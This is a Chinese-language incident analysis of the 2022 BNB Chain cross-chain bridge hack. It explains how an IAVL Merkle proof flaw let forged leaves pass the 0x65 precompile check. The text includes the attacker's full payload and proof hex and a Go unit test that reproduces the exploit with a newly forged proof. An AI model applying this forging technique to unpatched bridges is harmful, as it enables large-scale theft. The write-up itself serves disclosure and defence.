事件背景
北京时间2022年10月7日凌晨,BNB Chian跨链桥BSC Token Hub遭遇攻击。黑客利用跨链桥漏洞分两次共获取200万枚BNB,价值约5.66亿美元。
漏洞分析
BSCTokenHub是BNB信标链(BEP2)和BNB链(BEP20 或 BSC)之间的跨链桥。BNB链使用预编译合约0x65验证BNB信标链提交的IAVL的Proof,但BNB链对提交的Proof边界情况处理不足,它仅考虑了Proof只有一个Leaf的场景,对多个Leaves的处理逻辑不够严谨。黑客构造了一个包含多Leaves的Proof数据,绕过BNBChain上的校验,从而在BNB链造成了BNB增发。
以其中一次攻击交易为例:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
黑客构造输入数据payload和proof,输入参数通过validateMerkleProof校验,返回值为true。
在后续IApplication(handlerContract).handleSynPackage处理中,合约给黑客增发100万个BNB。
函数调用过程
交易首先调用CrossChain合约0x2000的handlePackage函数:
function handlePackage(bytes calldata payload, bytes calldata proof, uint64 height, uint64 packageSequence, uint8 channelId) onlyInit onlyRelayer
sequenceInOrder(packageSequence, channelId) blockSynced(height) channelSupported(channelId) external {
bytes memory payloadLocal = payload; // fix error: stack too deep, try removing local variables
bytes memory proofLocal = proof; // fix error: stack too deep, try removing local variables require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height), STORE_NAME, generateKey(packageSequence, channelId), payloadLocal, proofLocal), "invalid merkle proof");
address payable headerRelayer = ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);
... ...
if (packageType == SYN_PACKAGE) {
address handlerContract = channelHandlerContractMap[channelIdLocal]; tryIApplication(handlerContract).handleSynPackage(channelIdLocal, msgBytes) returns (bytes memory responsePayload) { if (responsePayload.length!=0) {
sendPackage(channelSendSequenceMap[channelIdLocal], channelIdLocal, encodePayload(ACK_PACKAGE, 0, responsePayload));
channelSendSequenceMap[channelIdLocal] = channelSendSequenceMap[channelIdLocal] + 1;
}
}
... ...
}
... ...
IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer, msg.sender, relayFee, isRelayRewardFromSystemReward[channelIdLocal] || packageType != SYN_PACKAGE);
}
输入参数
{
"payload": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",
"proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",
"height": 110217401,
"packageSequence": 17684572,
"channelId": 2
}
handlePackage会进一步调用MerkleProof.validateMerkleProof对输入的proof进行校验:
//函数原型:
function validateMerkleProof(
bytes32 appHash,
string memory storeName,
bytes memory key,
bytes memory value,
bytes memory proof)
//函数调用:
MerkleProof.validateMerkleProof(
ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),
STORE_NAME,
generateKey(packageSequence, channelId),
payloadLocal,
proofLocal),
//调用参数:
{
"appHash": "0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",
"storeName": "ibc",
"key": "0x00000100380200000000010dd85c",
"value": "0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",
"proof": "0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"
}
MerkleProof相关代码可以看到,实际的验证逻辑是使用预编译合约0x65完成:https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66
uint256[1] memory result;
/* solium-disable-next-line */
assembly {
// call validateMerkleProof precompile contract
// Contract address: 0x65 ifiszero(staticcall(not(0), 0x65, input, length, result, 0x20)) {}
}
return result[0] == 0x01;
系统预编译合约0x65对应iavlMerkleProofValidate功能:https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81
系统合约0x65实现代码如下,主要逻辑为使用DecodeKeyValueMerkleProof解码输入参数,并调用Validate进行校验:https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106
func (c *iavlMerkleProofValidate) Run(input []byte) (result []byte, err error) {
//return nil, fmt.Errorf("suspend")
... ... kvmp, err := lightclient.DecodeKeyValueMerkleProof(input[precompileContractInputMetaDataLength:])if err != nil {
return nil, err
} valid := kvmp.Validate()if !valid {
return nil, fmt.Errorf("invalid merkle proof")
}
result = make([]byte, merkleProofValidateResultLength)
binary.BigEndian.PutUint64(result[merkleProofValidateResultLength-uint64TypeLength:], 0x01)
return result, nil
}
其中kvmp.Validate()实现代码如下:https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234
func (kvmp *KeyValueMerkleProof) Validate() bool { prt := DefaultProofRuntime()
kp := merkle.KeyPath{}
kp = kp.AppendKey([]byte(kvmp.StoreName), merkle.KeyEncodingURL)
kp = kp.AppendKey(kvmp.Key, merkle.KeyEncodingURL)
if len(kvmp.Value) == 0 {
err := prt.VerifyAbsence(kvmp.Proof, kvmp.AppHash, kp.String())
return err == nil
}
err := prt.VerifyValue(kvmp.Proof, kvmp.AppHash, kp.String(), kvmp.Value)
return err == nil
}
DefaultProofRuntime构造函数使用IAVL库进行Proof的验证:
import (
"bytes"
"fmt"
"github.com/tendermint/iavl"
"github.com/tendermint/tendermint/crypto/merkle"
cmn "github.com/tendermint/tendermint/libs/common"
)
... ...
func DefaultProofRuntime() (prt *merkle.ProofRuntime) {
prt = merkle.NewProofRuntime()
prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder)
prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder)
prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder)
prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder)
return
}IAVL代码问题
IAVL的Proof校验过程中,Hash计算存在漏洞,导致黑客可以在Proof添加数据,但计算Hash时并没有用到添加的数据。详细分析如下:
在len(pin.Left)不为0的分支中,计算Hash并没有使用pin.Right数据。黑客利用该处漏洞构造数据,添加proof.LeftPath[1].Right数据,但是该数据并不参与Hash计算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93
func (pin ProofInnerNode) Hash(childHash []byte) ([]byte, error) {
hasher := sha256.New()
buf := bufPool.Get().(*bytes.Buffer)
buf.Reset()
defer bufPool.Put(buf)
err := encoding.EncodeVarint(buf, int64(pin.Height))
if err == nil {
err = encoding.EncodeVarint(buf, pin.Size)
}
if err == nil {
err = encoding.EncodeVarint(buf, pin.Version)
}iflen(pin.Left) == 0 {if err == nil { err = encoding.EncodeBytes(buf, childHash) }if err == nil { err = encoding.EncodeBytes(buf, pin.Right) } } else {if err == nil { err = encoding.EncodeBytes(buf, pin.Left) }if err == nil { err = encoding.EncodeBytes(buf, childHash) } }
if err != nil {
return nil, fmt.Errorf("failed to hash ProofInnerNode: %v", err)
}
_, err = hasher.Write(buf.Bytes())
if err != nil {
return nil, err
}
return hasher.Sum(nil), nil
}
根据上述分析,正常数据组织结构如下,proof.LeftPath[1].Right为空值,计算得到正确的Hash。
proof.LeftPath = len(2)
proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left是一个正常数据,proof.LeftPath[1].Right空值
proof.InnerNodes = len(0)
proof.Leaves = len(1),proof.Leaves[0]是一个正常数据
黑客构造攻击数据结构如下,添加proof.LeftPath[1].Right数据,且该数据不参与Hash计算。
proof.LeftPath = len(2)
proof.LeftPath[0]是一个正常数据,proof.LeftPath[1].Left是一个正常数据,proof.LeftPath[1].Right是一个伪造数据
proof.InnerNodes = len(1), InnerNodes[0]=nil
proof.Leaves = len(2),proof.Leaves[0]是一个正常数据,proof.Leaves[1]是一个伪造数据
且proof.LeftPath[1].Right = COMPUTEHASH(proof.Leaves[1])
IAVL的Proof校验代码如下,主体逻辑为COMPUTEHASH递归调用。由于lpath.Right也为黑客输入数据,使得黑客构造的数据能够通过bytes.Equal(derivedRoot, lpath.Right)的校验,并返回上一轮COMPUTEHASH通过proof.Leaves[0]计算的结果,该结果为正常数值,从而绕过了IAVL的Proof校验。
https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309
func (proof *RangeProof) _computeRootHash() (rootHash []byte, treeEnd bool, err error) {
...
var COMPUTEHASH func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error)
// rightmost: is the root a rightmost child of the tree?
// treeEnd: true iff the last leaf is the last item of the tree.
// Returns the (possibly intermediate, possibly root) hash.
COMPUTEHASH = func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error) {
// Pop next leaf.
nleaf, rleaves := leaves[0], leaves[1:]
leaves = rleaves
// Compute hash.
hash, err = (pathWithLeaf{
Path: path,
Leaf: nleaf,
}).computeRootHash()
if err != nil {
return nil, treeEnd, false, err
}
// If we don't have any leaves left, we're done.
if len(leaves) == 0 {
rightmost = rightmost && path.isRightmost()
return hash, rightmost, true, nil
}
// Prove along path (until we run out of leaves).
for len(path) > 0 {
// Drop the leaf-most (last-most) inner nodes from path
// until we encounter one with a left hash.
// We assume that the left side is already verified.
// rpath: rest of path
// lpath: last path item
rpath, lpath := path[:len(path)-1], path[len(path)-1]
path = rpath
if len(lpath.Right) == 0 {
continue
}
// Pop next inners, a PathToLeaf (e.g. []ProofInnerNode).
inners, rinnersq := innersq[0], innersq[1:]
innersq = rinnersq
// Recursively verify inners against remaining leaves.
derivedRoot, treeEnd, done, err := COMPUTEHASH(inners, rightmost && rpath.isRightmost())
if err != nil {
return nil, treeEnd, false, errors.Wrap(err, "recursive COMPUTEHASH call")
} if !bytes.Equal(derivedRoot, lpath.Right) {return nil, treeEnd, false, errors.Wrapf(ErrInvalidRoot, "intermediate root hash %X doesn't match, got %X", lpath.Right, derivedRoot) }if done {return hash, treeEnd, true, nil }
}
// We're not done yet (leaves left over). No error, not done either.
// Technically if rightmost, we know there's an error "left over leaves
// -- malformed proof", but we return that at the top level, below.
return hash, false, false, nil
}
// Verify!
path := proof.LeftPath
rootHash, treeEnd, done, err := COMPUTEHASH(path, true)
if err != nil {
return nil, treeEnd, errors.Wrap(err, "root COMPUTEHASH call")
} else if !done {
return nil, treeEnd, errors.Wrap(ErrInvalidProof, "left over leaves -- malformed proof")
}
// Ok!
return rootHash, treeEnd, nil
}
黑客攻击构造的数据中,包括了IAVL:V和multistore相关数据,multistore数据也是基于IAVL进行操作,原理是一样的,不再进行详细分析。
这次IAVL Proof暴露的问题在于,数据局部的变化无法反应到整体,使得校验发生错误。在Cosmos生态中,IBC使用 ICS23来做数据的校验处理,ICS23与IAVL Proof校验不同点在于,ICS23会对所有的“叶子节点”的值进行数据校验,最后计算得出的根Hash再与链上数据进行校验,OKC采用的是ICS23的Prove,因此不存在BNBChain这次遇到的安全漏洞。
测试验证代码
利用黑客攻击交易数据,基于BNBChain单元测试代码,增加了基于黑客攻击交易的测试用例,可以完整复现黑客的攻击交易。单元测试代码利用iavlMerkleProofValidate.Run接口验证输入数据,即相当于调用预编译合约。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100
iavlMerkleProofValidateContract := iavlMerkleProofValidate{}
success, err := iavlMerkleProofValidateContract.Run(input)
利用黑客攻击交易数据,构造新的payload数据为value := []byte(“okc test hack”),并对proof相应数据进行了修改,即修改proof.LeftPath[1].Right和proof.Leaves[1]对应的数据,新构造的数据可以通过okcIavlMerkleProofValidate校验,即修改了黑客数据也能通过校验。另外,如下单元测试代码对原始黑客数据和修改后的数据两种case都进行了校验,且校验都能成功,从而说明如下测试代码利用本文所述漏洞成功进行了复现。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958
func TestTmHeaderValidateAndMerkleProofValidateTest(t *testing.T) {
testCases := []struct {
name string
value []byte
proof []byte
}{
{
//data source https://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
"hack data",
func() []byte {
value, err := hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")
require.NoError(t, err)
return value
}(),
func() []byte {
proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")
require.NoError(t, err)
return proofBytes
}(),
},
{
"okc test data",
func() []byte {
value := []byte("okc test hack")
return value
}(),
func() []byte {
proofBytes, err := hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")
require.NoError(t, err)
return proofBytes
}(),
},
}
for _, tc := range testCases {
okcIavlMerkleProofValidate(tc.value, tc.proof, t)
}
}
func okcIavlMerkleProofValidate(value, proofBytes []byte, t *testing.T) {
key, err := hex.DecodeString("00000100380200000000010dd85c") // this equal to generateKey(17684572,2)
require.NoError(t, err)
newAppHash, err := hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318") // this is got by hack data
require.NoError(t, err)
merkleProofInput := make([]byte, 32+32+len(key)+32+len(value)+32+len(proofBytes))
copy(merkleProofInput[:32], "ibc")
binary.BigEndian.PutUint64(merkleProofInput[32+24:32+32], uint64(len(key)))
copy(merkleProofInput[32+32:32+32+len(key)], key)
binary.BigEndian.PutUint64(merkleProofInput[32+32+len(key)+24:32+32+len(key)+32], uint64(len(value)))
copy(merkleProofInput[32+32+len(key)+32:32+32+len(key)+32+len(value)], value)
copy(merkleProofInput[32+32+len(key)+32+len(value):32+32+len(key)+32+len(value)+32], newAppHash)
copy(merkleProofInput[32+32+len(key)+32+len(value)+32:], proofBytes)
totalLengthPrefix := make([]byte, 32)
binary.BigEndian.PutUint64(totalLengthPrefix[0:8], 0)
binary.BigEndian.PutUint64(totalLengthPrefix[8:16], 0)
binary.BigEndian.PutUint64(totalLengthPrefix[16:24], 0)
binary.BigEndian.PutUint64(totalLengthPrefix[24:], uint64(len(merkleProofInput)))
input := append(totalLengthPrefix, merkleProofInput...)
iavlMerkleProofValidateContract := iavlMerkleProofValidate{}
success, err := iavlMerkleProofValidateContract.Run(input)
require.NoError(t, err, err)
expectedResult := make([]byte, 32)
binary.BigEndian.PutUint64(expectedResult[24:], 0x01)
require.Equal(t, expectedResult, success)
}
事件过程
被攻击全过程可查看上一篇文章:链上卫士:BNBChain 遭攻击时间轴梳理。OKLink多链浏览器已对BNB Chain黑客地址进行风险标签标记(标记为“Hack”),关于此次被盗后续,链上卫士团队将进一步追踪案件细节并及时同步。